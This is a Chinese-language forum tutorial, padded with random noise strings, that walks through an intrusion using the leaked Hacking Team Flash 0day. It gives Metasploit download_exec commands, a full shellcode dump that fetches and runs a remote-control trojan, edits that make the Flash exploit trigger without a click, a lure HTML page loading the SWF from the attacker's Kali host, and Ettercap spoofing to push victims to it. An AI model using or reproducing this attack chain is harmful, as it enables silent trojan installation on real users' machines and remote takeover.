* a$ z! C% D* v; _6 }
三、flash 0day之手工代码修改制作下载者实例入侵演示 / |$ b8 u$ _! ?5 G
8 n9 w' m y: |0 Z+ P3 S
! [1 J- f' ]1 N- j" }7 f
利用到的工具:
+ T5 X, R; F8 X. [2 q0 K 0 j, R/ L' ]4 {6 c' Q1 p
5 Z% s3 F0 I5 m; [1 M* D% V1 p1 x
Msf
% j2 A8 m7 c a 3 f' O. B7 [4 v! X. u8 q/ f
- F9 i* g+ B2 z1 A( V% |
Ettercap
, \. N( ?: L( I7 Y6 l! R
( B( Z- a8 U4 {; l, B5 e
. |8 [/ w$ W+ R) ^9 A8 M' [" g6 O Adobe Flash CS6 ) k, a4 B/ }0 K0 {$ Z; A* ]
! @' E' \. ?8 d
% j( o% Y8 w8 j5 n) w Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
3 j, \/ m L e/ `, W
1 H) b7 s. y8 I0 s, v; b" v; |- K7 \0 ^( t) R
下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options % O8 ?: x( [1 o' Y3 u
$ Y# Z% u- F# m ~7 ]/ l
* O- [" V$ c0 r' `' V7 D
如图:
3 _" p% f4 w1 B- M: k
0 n3 V5 c: p5 K2 r; [+ m5 Y5 p( @- Y a( R+ e
' ~: _" P" |0 A" Q
) h" `8 a( d/ z s5 l& n( z" v
2 N! d- k- {$ w
+ R, T2 Y$ A) X
8 h0 g6 O+ z$ D7 p) G2 K& z, h
1 [9 b# E. M% h$ L" U3 y6 k 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图: ' Y1 D& Y- x) @( ^9 o1 v. z
0 |' m5 F2 E1 Z5 ]9 v2 h, e
2 U) G! F( \# V
/ L& B1 ~' i0 F; Z j
S) N! _ W5 T
0 t' \5 I G% P+ B. q/ K 6 y9 h+ u0 j) h: Q' n. H. z
& a) s( e' Y; p' @) ]
* T* G K' q/ f& s; l2 ]& t; b" F
然后执行generate -t dword生成shellcode,如下:
5 [8 a& d8 @+ Y8 q$ h8 O% {8 y- b + Q$ h) V& S4 ^5 S3 D
# ]: q: B1 }1 h. Y" ~ 9 V4 j7 N8 m; r6 R0 c ]
, x9 X7 j8 E, |8 ^0 H# {3 Q
1 `+ F: }5 L( J' @8 [6 Y 复制代码到文本下便于我们一会编辑flash exp,如下:
; ~! h8 w1 X6 p9 C) R% L % n, ?- w6 Y. ~1 H; I1 Q1 v
" U: ~0 p; y3 j m" y6 y; E5 ~. y/ H
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
# ^. W3 R' B2 |2 S$ V
6 Y$ h' P; y6 g) j; D8 B0 Q8 }0 u5 F; R0 r% J( r
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
+ ]5 J9 ^( Q" Z
) K/ T0 k" t; f* s5 ^
" ]$ F% g0 r+ z& T2 \ 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, 4 t% P8 d( c4 G4 ]7 {. f; L& ~
% Y4 [+ h, y* F2 N3 W* I9 W0 C6 { O0 w+ T$ W
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,
0 O+ y" r! ?2 K2 l! `& y: b$ u# d
9 q/ F' b9 M$ w1 s3 P, C; E$ T6 r0 A1 ]. U2 V9 Z! {) J
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, / {. T% Z* M! Q4 k$ {" r* `4 X
' ~" ], i5 I% W3 W; f* W% C5 n& n/ w6 s3 Y5 W- R$ T; E H! e' Z
0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
! I H: B1 q7 A" n) t5 x# g3 H5 O . q( L( \, }+ ?% S" P+ l
1 ^+ Y. R# y; p7 a9 r+ J& g" g9 J ]+ }1 _
0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, # L! k7 v7 X- x: R
# l9 a8 B O. V# ^ S
3 ?4 u- U* P; f; g# ^- C1 x 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, # s0 ~. q x4 m! c' u5 r* ^; `
8 X" `6 u2 Y7 E2 d" x
; `, u N4 { O( b U 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, * z. G2 u/ M8 ]
; A: K" t# u( F% ^1 J& W9 J
3 L" V! ~' D* X2 O/ U 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, 7 N, P0 Y5 E8 u# ~3 n3 |' w
+ s. l! W( [* k# H" w
) | \4 ?9 S! K2 D5 h+ J6 D 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
4 q1 |' |; Q2 C# I$ b* ^8 q# O 5 q* p' h# O& W5 _( ^* m
8 @" o0 }0 t) O/ |; \7 Q4 C 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, ' G& K; K/ O; Y/ ]
0 N$ ^! ?6 b: I. q+ g6 ?0 c
5 V- c3 h% y" K9 L# A# F4 [9 F 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, ! Q: p* E* I! ?# h( H
8 j8 p0 n6 x2 ^+ ?6 `0 K' Y7 i1 g7 Q
4 n' Y+ j# q9 e5 y; }* L/ W 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000
3 m+ @1 B( v6 r
* V- {8 F0 t, t9 F% L: m) E
. w# }: P; a# A : J+ P8 J! D5 d" x1 d; q
) S$ F5 _" m/ V B' O
9 p* B6 n O: F* n( }
2 H, [7 \- y' R , r. C; l+ ^7 ~- @( e: ~
5 {" a5 h! I8 C' F# K; Y6 Y 下面我们来修改flash 0day exp,需要修改三个文件,分别为:
% `& ~* |* F, {3 C( M 3 c) @8 S. q6 N2 A
3 u8 i3 u* @% x# c" l. T
_' j+ i: p% O; x* }; N
/ G1 L5 s8 j% v4 b1 q6 V% J5 T- ]1 d2 ?, I& M
先修改ShellWin32.as,部分源代码如图:
* S& w7 w4 d) w3 K* s. K. a2 ? v5 O. u2 e' h
6 W) w* F M( f: F9 ~: t
) K+ D# h3 N, y( J/ V
1 I9 I; j. }$ h" k* T
7 ?2 H' L3 V4 ?( a0 j8 \ 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: 0 E5 z' B# S0 z: G- @2 [
8 b: l9 I5 L5 C$ |- ^
8 r0 B" I( j7 R3 X& I( B
; n) u& G9 \* E
& G. F6 i1 u2 A; k4 c) M) x9 d2 K& Q7 a$ G% g
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图:
- |/ ~3 E; ?% [2 t9 G9 j
, I; s* z0 B; J. i0 ~# ~* e+ a2 B
- Z+ W+ l$ m* e' i4 e4 A; I
" I# ]7 a9 d5 \* {+ R7 O
" K1 f2 L% N5 r3 ^$ _! v0 c 换行在后面加一句TryExpl();注意是l不是数字1,然后如图: * J9 d' [4 h# V; d
% {+ N4 K! ]8 M$ e. h, c; O3 V9 ~* ]
1 L3 R6 _; b& \' N$ _& e3 g0 n . }' g" G" [$ \) F5 u. O3 J0 D3 q
4 Q# Y- H+ b3 X' C6 S8 @3 l " ?3 V9 g' N7 @3 a3 G
) a4 W7 X! z5 s% R' j# T7 E
; `; z, \; y' C# B; ]
7 U/ z( _$ t" a8 n& w
! U c" H( s8 a+ k
2 I. B2 e. w+ S6 k 然后点保存,下面我们来编译一下,打开
; F# ^4 X) Y/ Y6 T/ }7 P2 }; r
6 Z: D/ y' m* u8 J9 F' n9 \& ^; X. A7 ~1 l$ [& O
exp1.fla然后点文件-发布,看看编译没错误
4 I" ~1 @) S' R# M3 d3 q8 p 1 V, c7 k2 i, _# l7 w' P
" w1 d2 D& t1 q4 ? _0 E) u' m- n% Z# E
8 e1 U, }! {8 f1 F7 W
1 S0 ^5 P0 f# _
0 S9 O4 P% l/ H/ b1 Y6 y3 T6 w & P& E+ a' U4 T( e% W2 ?. R
; w7 Z" x- L; _& l# A
* J8 p& H9 L6 }6 M/ T2 Z. r
! z. M. o' _! f: I {
0 u8 x' |1 J' @* i- p1 E $ l. Q o' {) q9 T2 v- g5 J9 Q
/ R! E0 y+ S. ?1 a- [/ E
1 E1 h" X0 U* m 然后我们把生成的
+ K" p. \& T* Y" [' \8 p4 R) Z
4 O- S; y$ }$ P/ s4 Y1 T& Z) H: w2 l% X% i2 d
exp1.swf丢到kailinux 的/var/www/html下:
2 N! \9 ^; W% w
! o) x& p' Q. j: x- e
4 N2 e6 j" |# Z' ?1 r9 { 然后把这段代码好好编辑一下
4 b, ? d- E( n* Y
& P- Y: u- O* ^) v( J9 E" L9 F
1 ?/ R0 r# {' E& f0 j) j" Y; x z + o: |5 x8 v0 F" U! r/ A
' {3 Y( C! w# K0 P$ A" ~( Z5 l# i. k! \# Q1 @' i! @, Q
# e2 h! x9 `4 [1 C
9 f3 \4 _8 x' S: @3 W4 q1 j: U% ~9 |" ?
9 @/ T* T5 m; Z/ q" R- }
$ m8 w L( y2 w4 Z8 n" R+ c7 M6 W- X
4 M' u3 M m1 f7 [0 @ 7 n7 j2 S$ g. N: g
/ Z$ `8 t. _8 R6 P6 R. ]+ G' d
' a* q8 R" C' R. C- A3 D% Z " @ _+ ?! C- V* y6 n6 k% P# A
/ F" \0 R a! t' m4 B
8 u N& }" V! J: e
+ m$ w9 V7 _2 J: ]% _7 N1 G/ p2 Z: o& C; r
<!DOCTYPE html> $ v3 S5 T& w9 X3 Y! X
9 }0 [) u2 S+ K" k
! x+ i+ \: d, P
<html> 9 |6 F2 O: l9 [, P3 D# Z+ Q
2 W. o5 M& G' G2 V% S' y {
5 Q& T0 i& W1 y- O+ Y/ Q5 e
<head>
8 U: ^: @, u! o" F: J1 ? # T! _( S" Y! w8 ~2 q% x
4 ]* X: N4 P- A! |% e; J
<meta http-equiv="Content-Type" content="text/html;
. s6 S: o$ }1 b( M- l
) Z7 M% V' }& b, |5 N2 J& [/ v/ K! n8 v/ S* O8 F
charset=utf-8"/> & N. H- S' H" q) g5 U
/ O# D6 P. I# u
( v. Z; _* k/ {
</head>
# R) B! q# y) f4 Q1 h# x
8 V+ ], ?7 b; j8 j( Q: h2 p- N6 r) x- q, K, E# S& C0 L
<body>
$ |4 Q8 X0 n4 L7 k4 B ' Y1 J% h6 o1 y4 ^8 t a$ y
: ]( Z/ o' w# M+ Q9 Z8 b: X <h2> Please wait, the requested page is loading...</h2> # z/ G/ i0 [ Y
( O7 W% `7 w! f8 T9 M8 r. O
# P8 d* L0 N3 T3 K& ?6 W <br> ; P# B/ M8 i4 m' c8 e* Q
, d0 }/ O* t) k/ K7 Z$ W
% U! D n2 ], K6 ?% T7 a <OBJECT
- c: U0 @4 L2 N$ N, y6 R5 j6 O) o0 ]
& o& Z$ A) x- a
8 _/ i3 A$ Y4 D( o% W classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie 7 }+ }, n; p) @. X- A: l
# t& q* C1 Q; y$ Q9 \4 ~- R, v" e* K: S
VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
* n3 p% J" `$ c" E& M0 w ; i0 |/ }7 U5 M4 u- b( M$ i# g
5 z2 h/ Z7 t2 ^* k! ? </body>
# |2 }& q# s7 ~ + F' r4 ]4 t/ z6 a3 {
& v0 l+ E; d3 r8 c+ w <script>
s/ `! z4 x* O) Q! h+ B 9 G7 o& F" K1 ~/ N
+ G% i' S+ n" [4 b setTimeout(function () {
* [$ i3 D' u, u D- s' R% j3 b & u5 o: `- @4 |7 ]6 g. U
; B/ t' d( f# X, i. D) _
5 w. W C+ q e - B4 f7 Q$ |8 m+ I2 A0 O
0 ]( Z- I" Z# _- X# W" x window.location.reload();
% u. @0 }) a( Q6 ?. F1 f
" X# _5 N: \3 Q$ U4 Z! Z9 x5 x; b4 c, D( I, d# k
}, 10000);
7 a+ \' X& J+ q% n% b7 T s( ]
q# |9 A/ @0 ] K% Y" p! l. U: r7 B) s z( K; a7 Q
8 E" t' N/ b: t& e6 `
1 P5 d" x& c$ @! T0 u2 Y% ?6 k6 [) x4 K, R* C- |. j2 L c( M2 O
</script> 7 H! h1 |/ n1 e& }
! V2 B! g5 V: ]4 {( [4 z
% m) q# n' H5 L, b: b/ Q
</html>
6 n1 \! T2 c+ b0 b( N3 k / b5 r" h# W; R* l
) s: b# H. Z1 Z
+ p7 }% P+ `4 i1 v9 Z3 `+ v8 R% m ! ]+ }& y0 C D& B i J# w
j& v, K8 C2 v6 ? 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图: 1 m: z% t, Q, }7 t4 Y
% |1 k0 c( y% W% g8 B( L
) @5 q. h& L4 h
- U. w* `+ r7 Q# A& n; Z( R ; h2 f$ @& f# }" T t |. X
& e6 v( c5 P7 q& G
/ R( C9 s2 O" |1 s
( j7 L- L$ g* K* B
; h% i& K/ `4 L1 I- x, |
" r6 q5 S. I- P+ f( V; {4 C- {
1 r9 r# I! e* O4 Z4 x
% E8 x/ w' z! _, E4 i2 W3 H ) X- u; Y+ R) N; P
) H" Z3 ]6 d: Y b* t" N1 d4 ^
# q- C; X) G' A8 d 2 ?0 {6 t: O8 I/ I& ?1 x! j) U( `. ~ w, s
+ Q: v) V, ` N Q3 d, }" w
- N6 X; b! U4 o# J s9 n: V% [3 r9 f
下面我们用ettercap欺骗如图:
3 i# z3 X/ n6 U5 y- ^* b 4 \% m* I" I2 D, T5 k3 c0 d
( s- l8 K% k1 b, z. l
( C' d) X( y* [3 ~, c
& {( h+ j$ f" U9 ^+ ]. G; y0 I9 t4 \1 k; x G. b; L5 _. C
" I7 M5 P5 ?) Z& f: m
_8 u+ }" u, ~9 W2 I1 G6 u: ?1 a2 F) o! x
下面我们随便访问个网站看看:
% l$ s! V) z$ S& R6 a' `, r' q 8 C) A8 o6 x8 p" P) K3 Q
" H. P1 r2 l6 ^5 X
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: - \3 r2 G. L% F% K0 U; X
& S5 ~1 N: @' b5 Q/ x
& n0 T. I0 F& \
' M0 E5 x4 B, Z : F! {0 n/ W3 b' ^% n- L/ Q
/ C; j. z# Z8 o 我们看另一台, 5 b! T( A: m* b
1 Q8 m: Q( i& x; G5 A& a% _
( k1 o* M. A N$ F. E
提示这个错误,说明木马是成功被下载执行了, 只是由于某些原因没上线而已。。。 0 }$ U8 J9 d+ R3 Z6 c8 T
|